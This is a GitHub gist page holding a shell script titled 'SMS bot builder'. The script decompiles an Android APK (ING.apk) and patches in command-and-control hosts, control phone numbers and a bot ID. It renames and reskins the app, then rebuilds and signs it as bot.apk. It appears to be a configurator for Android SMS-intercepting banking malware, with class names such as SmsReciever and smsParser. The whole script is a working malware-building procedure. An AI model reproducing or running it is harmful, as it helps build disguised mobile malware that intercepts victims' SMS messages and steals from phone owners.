Skip to content

Instantly share code, notes, and snippets.

@PaulSec
Created June 1, 2015 13:51
Show Gist options
  • Save PaulSec/8641b5a355c26f02c4b2 to your computer and use it in GitHub Desktop.
Save PaulSec/8641b5a355c26f02c4b2 to your computer and use it in GitHub Desktop.
SMS bot builder
#keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
apktool d -s src/ING.apk -o src/ING/ -f
java -jar ./tools/baksmali-2.0.2.jar src/ING/classes.dex -o src/out/
# ==== here patch dex file ====
TEL1="+80000000001"
TEL2="+80000000002"
TEL_BACK="+80000000003"
HOST1="127.0.0.1"
HOST2="127.0.0.1"
ID_BOT="500"
GATE="\/android\/"
IC_LAUNCHER="ic_launcher8"
TEMPLATE_INDEX="8"
APP_NAME="AndroidMan"
sed -i 's/192.168.1.56/'$HOST1'/g' src/ING/res/values/arrays.xml
sed -i 's/192.168.1.56/'$HOST2'/g' src/ING/res/values/arrays.xml
sed -i 's/\/android\//'$GATE'/g' src/ING/res/values/strings.xml
sed -i 's/500/'$ID_BOT'/g' src/ING/res/values/strings.xml
sed -i 's/+70000000003/'$TEL_BACK'/g' src/ING/res/values/strings.xml
sed -i 's/+70000000001/'$TEL1'/g' src/out/com/soft360/iService/SmsReciever.smali
sed -i 's/+70000000001/'$TEL1'/g' src/out/com/soft360/iService/smsParser.smali
sed -i 's/+70000000002/'$TEL2'/g' src/out/com/soft360/iService/SmsReciever.smali
sed -i 's/+70000000002/'$TEL2'/g' src/out/com/soft360/iService/smsParser.smali
# style
sed -i 's/Security\x20Space/'$APP_NAME'/g' src/ING/res/values/strings.xml
sed -i 's/\"template_index\">5</\"template_index\">'$TEMPLATE_INDEX'</g' src/ING/res/values/strings.xml
sed -i 's/ic_launcher5/'$IC_LAUNCHER'/g' src/ING/res/values/strings.xml
# =============================
java -jar ./tools/smali-2.0.2.jar src/out/ -o src/ING/classes.dex
apktool b -f src/ING/
mv src/ING/dist/ING.apk bot.apk
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore tools/my-release-key.keystore -keypass 123456 -storepass 123456 bot.apk alias_name
rm -Rf src/ING
rm -Rf src/out
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment